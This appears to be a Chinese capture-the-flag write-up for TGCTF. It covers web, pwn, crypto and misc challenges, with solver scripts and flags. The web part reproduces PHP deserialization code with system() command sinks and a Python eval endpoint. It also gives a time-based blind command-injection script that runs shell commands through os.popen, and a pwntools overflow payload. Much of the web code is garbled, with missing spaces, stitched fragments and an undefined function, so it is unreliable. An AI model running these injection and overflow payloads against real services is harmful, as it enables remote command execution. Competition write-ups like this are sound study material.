<?php highlight_file(__FILE__); error_reporting(0); functionbest64_decode($str) { returnbase64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str))))); } classyesterday{ public$learn; public$study="study"; public$try; publicfunction__construct() { $this->learn = "learn<br>"; } publicfunction__destruct() { echo"You studied hard yesterday.<br>"; return$this->study->hard(); } } classtoday{ public$doing; public$did; public$done; publicfunction__construct(){ $this->did = "What you did makes you outstanding.<br>"; } publicfunction__call($arg1, $arg2) { $this->done = "And what you've done has given you a choice.<br>"; echo$this->done; if(md5(md5($this->doing))==666){ return$this->doing(); } else{ return$this->doing->better; } } } classtommoraw{ public$good; public$bad; public$soso; publicfunction__invoke(){ $this->good="You'll be good tommoraw!<br>"; echo$this->good; } publicfunction__get($arg1){ $this->bad="You'll be bad tommoraw!<br>"; }
} classfuture{ private$impossible="How can you get here?<br>"; private$out; private$no; public$useful1;public$useful2;public$useful3;public$useful4;public$useful5;public$useful6;public$useful7;public$useful8;public$useful9;public$useful10;public$useful11;public$useful12;public$useful13;public$useful14;public$useful15;public$useful16;public$useful17;public$useful18;public$useful19;public$useful20;
publicfunction__set($arg1, $arg2) { if ($this->out->useful7) { echo"Seven is my lucky number<br>"; system('whoami'); } } publicfunction__toString(){ echo"This is your future.<br>"; system($_POST["wow"]); return"win"; } publicfunction__destruct(){ $this->no = "no"; return$this->no; } } if (file_exists($_GET['filename'])){ echo"Focus on the previous step!<br>"; } else{ $data=substr($_GET['filename'],0,-4); unserialize(best64_decode($data)); } // You learn yesterday, you choose today, can you get to your future? ?>
from pyramid.config import Configurator from pyramid.request import Request from pyramid.response import Response from pyramid.view import view_config from wsgiref.simple_server import make_server from pyramid.events import NewResponse import re from jinja2 import Environment, BaseLoader
defhome_view(request): expr_input = "" result = ""
if request.method == 'POST': expr_input = request.POST['expr'] if checkExpr(expr_input): try: result = eval(expr_input, eval_globals) except Exception as e: result = e else: result = "爬!"
if __name__ == '__main__': with Configurator() as config: config.add_route('home_view', '/') config.add_view(home_view, route_name='home_view') app = config.make_wsgi_app()
server = make_server('0.0.0.0', 9040, app) server.serve_forever()
for i inrange(100): flag = True left = 33 right = 126
whileTrue: data = { "expr": f'a=__import__("os").popen("{cmd}").read()\nif(ord(a[{i}])<{(left+right)//2}):__import__("time").sleep(1)' } if flag: try: res = requests.post(url, data=data) except Exception as err: pass # print(res.text) flag = False
start = time.time()
try: res = requests.post(url, data=data) except Exception as e: print(e) i -= 1 continue
end = time.time() print(left, right, (left+right)//2, end-start) if end - start > 1: right = (left+right)//2-1 else: left = (left+right)//2+1
if left > right: # print(chr(left-1), end="") result += chr(left-1) print(result) break
<?php highlight_file(__FILE__); error_reporting(0); functionbest64_decode($str) { returnbase64_encode(md5(base64_encode(md5($str)))); } classyesterday{ public$learn; public$study="study"; public$try; publicfunction__construct() { $this->learn = "learn<br>"; } publicfunction__destruct() { echo"You studied hard yesterday.<br>"; return$this->study->hard(); } } classtoday{ public$doing; public$did; public$done; publicfunction__construct(){ $this->did = "What you did makes you outstanding.<br>"; } publicfunction__call($arg1, $arg2) { $this->done = "And what you've done has given you a choice.<br>"; echo$this->done; if(md5(md5($this->doing))==666){ return$this->doing(); } else{ return$this->doing->better; } } } classtommoraw{ public$good; public$bad; public$soso; publicfunction__invoke(){ $this->good="You'll be good tommoraw!<br>"; echo$this->good; } publicfunction__get($arg1){ $this->bad="You'll be bad tommoraw!<br>"; }
} classfuture{ private$impossible="How can you get here?<br>"; private$out; private$no; public$useful1;public$useful2;public$useful3;public$useful4;public$useful5;public$useful6;public$useful7;public$useful8;public$useful9;public$useful10;public$useful11;public$useful12;public$useful13;public$useful14;public$useful15;public$useful16;public$useful17;public$useful18;public$useful19;public$useful20;
publicfunction__set($arg1, $arg2) { if ($this->out->useful7) { echo"Seven is my lucky number<br>"; system('whoami'); } } publicfunction__toString(){ echo"This is your future.<br>"; system($_POST["wow"]); return"win"; } publicfunction__destruct(){ $this->no = "no"; return$this->no; } } if (file_exists($_GET['filename'])){ echo"Focus on the previous step!<br>"; } else{ $data=substr($_GET['filename'],0,-4); unserialize(best64($data)); } // You learn yesterday, you choose today, can you get to your future? ?>
<?php error_reporting(0); classyesterday{ public$learn; public$study="study"; public$try; publicfunction__destruct() { // echo "You studied hard yesterday.<br>"; return$this->study->hard(); } } classtoday{ public$doing; public$did; public$done; publicfunction__call($arg1, $arg2) { $this->done = "And what you've done has given you a choice.<br>"; // echo $this->done; if(md5(md5($this->doing))==666){ return$this->doing(); } else{ return$this->doing->better; } } }
classfuture{ private$impossible="How can you get here?<br>"; private$out; private$no; public$useful1;public$useful2;public$useful3;public$useful4;public$useful5;public$useful6;public$useful7;public$useful8;public$useful9;public$useful10;public$useful11;public$useful12;public$useful13;public$useful14;public$useful15;public$useful16;public$useful17;public$useful18;public$useful19;public$useful20;
publicfunction__toString(){ // echo "This is your future.<br>"; # system($_POST["wow"]); return"win"; } }
io.sendafter("welcome! could you tell me your name?",b'a'*0x40+p64(0x3b)+p64(0x404108)+b'\x00'*0x20)
io.sendafter("what dou you want to say?",b'a'*0x50)
io.interactive()
CRYPTO
AAAAAAAA·真·签到
观察发现,每个字母依次移位了-1、0、1、2……
写脚本循环移位(忽略特殊字符)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
c = 'UGBRC{RI0G!O04_5C3_OVUI_DV_MNTB}'
flag='' count = -1 for i in c: if i.isalpha(): print(i+" "+str(ord(i))+" "+str(count)+" "+chr(ord(i)+count)) flag+=chr(((ord(i)+count)-ord('A'))%26+ord('A'))
else: flag+=i count=count+1 print(flag)
1
TGCTF{You_caught_up_with_time!}
mm不躲猫猫
用脚本在factor批量查因数,发现都查不到
于是想到可能有公因数
chatgpt梭哈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
from math import gcd from collections import defaultdict
# 用于存储哪些 n_i 和 n_j 有公因数 shared_factors = defaultdict(list) moduli = [n for n, _ in rsa_data]
# 遍历所有组合,找出有非平凡公因数的 for i in range(len(moduli)): for j in range(i + 1, len(moduli)): g = gcd(moduli[i], moduli[j]) if 1 < g < min(moduli[i], moduli[j]): shared_factors[g].append((i, j))
# Function to find possible e1 values def find_possible_e1(phi): possible_e1 = [] # Check 18-bit primes first (131072 to 262144) for e in range(131072, 262144): if isPrime(e) and math.gcd(e, phi) == 1: possible_e1.append(e) # Check 17-bit primes (65536 to 131072) for e in range(65536, 131072): if isPrime(e) and math.gcd(e, phi) == 1: possible_e1.append(e) return possible_e1
# Find possible e1 values possible_e1 = find_possible_e1(phi)
# Try each possible e1 for e1 in possible_e1: try: d1 = inverse(e1, phi) m1 = pow(c1, d1, n1) flag_part = long_to_bytes(m1) # Check if the decoded message looks like a flag (e.g., starts with 'flag{') if b'TGCTF{' in flag_part: print(f"Found e1: {e1}") print(f"Flag part: {flag_part}") break except: continue
小e攻击使用工具梭哈
费克特尔
用factordb解,发现有多个因数
梭哈
MISC(AK)
next is the end
发现是嵌套压缩包,直接解压出来(还好不是压缩包炸弹
用everything搜索直接看到flag
1
flag{so_great!}
where it is(osint)
截取校门那块,百度识图
发现是
1
台北市立内湖高级工业职业学校
百度搜一下找到站台名
1
TGCTF{港墘站}
你的运气是好是坏?
好臭的数字
1
TGCTF{114514}
这是啥o_o
发现是gif文件
分解帧发现疑似有汉信码,但是ps技术不行,没拼出来
最后发现flag在帧间隔,用puzzlesolver解帧间隔
用python转ascii
1 2 3
a = ['840', '710', '670', '840', '700', '1230', '890', '1110', '1170', '950', '990', '970', '1170', '1030', '1040', '1160', '950', '1170', '1120', '950', '1190', '1050', '1160', '1040', '950', '1160', '1050', '1090', '1010', '330', '1250'] for i in a: print(chr(int(i)//10),end="")